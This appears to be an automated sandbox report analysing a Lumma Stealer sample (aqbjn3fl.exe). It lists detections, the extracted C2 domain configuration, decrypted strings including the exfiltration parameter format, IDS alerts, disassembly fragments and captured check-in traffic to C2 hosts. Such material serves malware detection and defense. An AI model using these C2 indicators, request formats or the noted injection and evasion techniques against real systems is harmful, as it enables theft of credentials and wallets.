Edit tour

Windows Analysis Report
aqbjn3fl.exe

Overview

General Information

Sample name:	aqbjn3fl.exe
Analysis ID:	1577502
MD5:	34a152eb5d1d3e63dafef23579042933
SHA1:	9e1c23718d5b30c13d0cec51ba3484ddc32a3184
SHA256:	42365467efe5746a0b0076a3e609219a9cffe827d5a95f4e10221f081a3bf8fa
Tags:	18521511316185215113209bulletproofexeLummaStealeruser-abus3reports
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

aqbjn3fl.exe (PID: 5360 cmdline: "C:\Users\user\Desktop\aqbjn3fl.exe" MD5: 34A152EB5D1D3E63DAFEF23579042933)

conhost.exe (PID: 5268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

aqbjn3fl.exe (PID: 4260 cmdline: "C:\Users\user\Desktop\aqbjn3fl.exe" MD5: 34A152EB5D1D3E63DAFEF23579042933)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["p3ar11fter.sbs", "3xp3cts1aim.sbs", "librari-night.sbs", "push-hook.cyou", "p10tgrace.sbs", "owner-vacat10n.sbs", "befall-sm0ker.sbs", "peepburry828.sbs", "processhol.sbs"], "Build id": "FATE99--november"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
00000000.00000002.1511669502.0000000002BBA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.aqbjn3fl.exe.400000.0.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security
3.2.aqbjn3fl.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer_4	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:06.857533+0100	2028371	3	Unknown Traffic	192.168.2.8	49710	23.55.153.106	443	TCP
2024-12-18T14:30:09.406227+0100	2028371	3	Unknown Traffic	192.168.2.8	49711	172.67.157.254	443	TCP
2024-12-18T14:30:10.981632+0100	2028371	3	Unknown Traffic	192.168.2.8	49712	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:10.009979+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49711	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:10.009979+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49711	172.67.157.254	443	TCP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (3xp3cts1aim .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:04.831379+0100	2057695	1	A Network Trojan was detected	192.168.2.8	52424	1.1.1.1	53	UDP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (p3ar11fter .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:05.063325+0100	2057698	1	A Network Trojan was detected	192.168.2.8	57787	1.1.1.1	53	UDP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (peepburry828 .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:04.168631+0100	2057696	1	A Network Trojan was detected	192.168.2.8	59232	1.1.1.1	53	UDP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:03.233194+0100	2057697	1	A Network Trojan was detected	192.168.2.8	54307	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (3xp3cts1aim .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:04.831379+0100	2057652	1	Domain Observed Used for C2 Detected	192.168.2.8	52424	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (befall-sm0ker .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:03.700559+0100	2057654	1	Domain Observed Used for C2 Detected	192.168.2.8	58689	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:03.465654+0100	2057658	1	Domain Observed Used for C2 Detected	192.168.2.8	61692	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (owner-vacat10n .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:04.490999+0100	2057660	1	Domain Observed Used for C2 Detected	192.168.2.8	51182	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p10tgrace .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:03.938536+0100	2057662	1	Domain Observed Used for C2 Detected	192.168.2.8	52911	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p3ar11fter .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:05.063325+0100	2057664	1	Domain Observed Used for C2 Detected	192.168.2.8	57787	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (peepburry828 .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:04.168631+0100	2057666	1	Domain Observed Used for C2 Detected	192.168.2.8	59232	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:03.233194+0100	2057668	1	Domain Observed Used for C2 Detected	192.168.2.8	54307	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (push-hook .cyou)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:03.003968+0100	2057838	1	Domain Observed Used for C2 Detected	192.168.2.8	63792	1.1.1.1	53	UDP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-18T14:30:07.638934+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.8	49710	23.55.153.106	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: aqbjn3fl.exe

Avira: detected

Antivirus detection for URL or domain

Source: push-hook.cyou

Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000000.00000002.1511669502.0000000002BBA000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": ["p3ar11fter.sbs", "3xp3cts1aim.sbs", "librari-night.sbs", "push-hook.cyou", "p10tgrace.sbs", "owner-vacat10n.sbs", "befall-sm0ker.sbs", "peepburry828.sbs", "processhol.sbs"], "Build id": "FATE99--november"}

Multi AV Scanner detection for submitted file

Source: aqbjn3fl.exe

ReversingLabs: Detection: 78%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 90.5% probability

Machine Learning detection for sample

Source: aqbjn3fl.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: owner-vacat10n.sbs
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: peepburry828.sbs
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: p10tgrace.sbs
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: befall-sm0ker.sbs
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: librari-night.sbs
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: processhol.sbs
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: push-hook.cyou
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.1592231634.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: FATE99--november

Source: aqbjn3fl.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.8:49711 version: TLS 1.2

Source: aqbjn3fl.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_ISOLATION, GUARD_CF, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009DF6A0 FindFirstFileExW,	0_2_009DF6A0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 0_2_009DF751 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_009DF751
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009DF6A0 FindFirstFileExW,	3_2_009DF6A0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 3_2_009DF751 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	3_2_009DF751

Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-532F9054h]	3_2_0040A874
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx-05h]	3_2_0040BDB0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then mov byte ptr [eax], bl	3_2_0040CEF5
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edi+00000090h]	3_2_00403060
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx]	3_2_00424800
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then jmp dword ptr [00446B78h]	3_2_0041ECF4
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then jmp eax	3_2_00418940
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then mov ebp, dword ptr [ecx+esi*4-000009BCh]	3_2_00409150
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+000011E4h]	3_2_00425150
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	3_2_00423560
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	3_2_00441160
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then push eax	3_2_00418D27
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then mov word ptr [eax], cx	3_2_004195D1
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then mov esi, edx	3_2_00427E50
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-69h]	3_2_00427E50
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx+4B5D9729h]	3_2_0040CA6A
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-29h]	3_2_0041DE73
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then mov ecx, eax	3_2_00425A75
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then mov ecx, eax	3_2_00425A75
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx edi, byte ptr [esi+eax+08h]	3_2_0041B634
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-3DC4CF7Bh]	3_2_004252A2
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx edx, byte ptr [edi+ecx+26702EC9h]	3_2_0041A6A3
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then mov ecx, eax	3_2_004272A0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx ebp, word ptr [eax]	3_2_004412A0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	3_2_00401F50
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 1B6183F2h	3_2_0043BF10
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then mov ecx, edx	3_2_004237C0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx edi, byte ptr [esp+esi+04h]	3_2_0043BFC0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-29h]	3_2_0041DBD4
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-6Ah]	3_2_0041DBDB
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx edi, word ptr [edi+ecx*4]	3_2_00407BB0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+34h]	3_2_00407BB0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	3_2_00407BB0
Source: C:\Users\user\Desktop\aqbjn3fl.exe	Code function: 4x nop then mov ebx, edx	3_2_004277BD

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057652 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (3xp3cts1aim .sbs) : 192.168.2.8:52424 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057654 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (befall-sm0ker .sbs) : 192.168.2.8:58689 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057660 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (owner-vacat10n .sbs) : 192.168.2.8:51182 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057666 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (peepburry828 .sbs) : 192.168.2.8:59232 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057696 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (peepburry828 .sbs) : 192.168.2.8:59232 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057664 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p3ar11fter .sbs) : 192.168.2.8:57787 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057698 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (p3ar11fter .sbs) : 192.168.2.8:57787 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057662 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (p10tgrace .sbs) : 192.168.2.8:52911 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057695 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (3xp3cts1aim .sbs) : 192.168.2.8:52424 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057658 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (librari-night .sbs) : 192.168.2.8:61692 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057838 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (push-hook .cyou) : 192.168.2.8:63792 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057668 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (processhol .sbs) : 192.168.2.8:54307 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057697 - Severity 1 - ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs) : 192.168.2.8:54307 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.8:49710 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49711 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49711 -> 172.67.157.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: librari-night.sbs
Source: Malware configuration extractor	URLs: push-hook.cyou
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: owner-vacat10n.sbs
Source: Malware configuration extractor	URLs: befall-sm0ker.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: processhol.sbs

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 23.55.153.106 23.55.153.106

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49711 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49712 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.8:49710 -> 23.55.153.106:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: global traffic	DNS traffic detected: DNS query: push-hook.cyou
Source: global traffic	DNS traffic detected: DNS query: processhol.sbs
Source: global traffic	DNS traffic detected: DNS query: librari-night.sbs
Source: global traffic	DNS traffic detected: DNS query: befall-sm0ker.sbs
Source: global traffic	DNS traffic detected: DNS query: p10tgrace.sbs
Source: global traffic	DNS traffic detected: DNS query: peepburry828.sbs
Source: global traffic	DNS traffic detected: DNS query: owner-vacat10n.sbs
Source: global traffic	DNS traffic detected: DNS query: 3xp3cts1aim.sbs
Source: global traffic	DNS traffic detected: DNS query: p3ar11fter.sbs
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: aqbjn3fl.exe	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: aqbjn3fl.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: aqbjn3fl.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: aqbjn3fl.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: aqbjn3fl.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: aqbjn3fl.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: aqbjn3fl.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: aqbjn3fl.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: aqbjn3fl.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: aqbjn3fl.exe	String found in binary or memory: http://ocsp.comodoca.com0
Source: aqbjn3fl.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: aqbjn3fl.exe, 00000003.00000003.1591832404.00000000036DB000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: aqbjn3fl.exe, 00000003.00000003.1582097935.00000000036D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastH
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.st
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstaK
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.
Source: aqbjn3fl.exe, 00000003.00000003.1591874242.000000000367D000.00000004.00000020.00020000.00000000.sdmp, aqbjn3fl.exe, 00000003.00000002.1592600392.000000000367D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.co
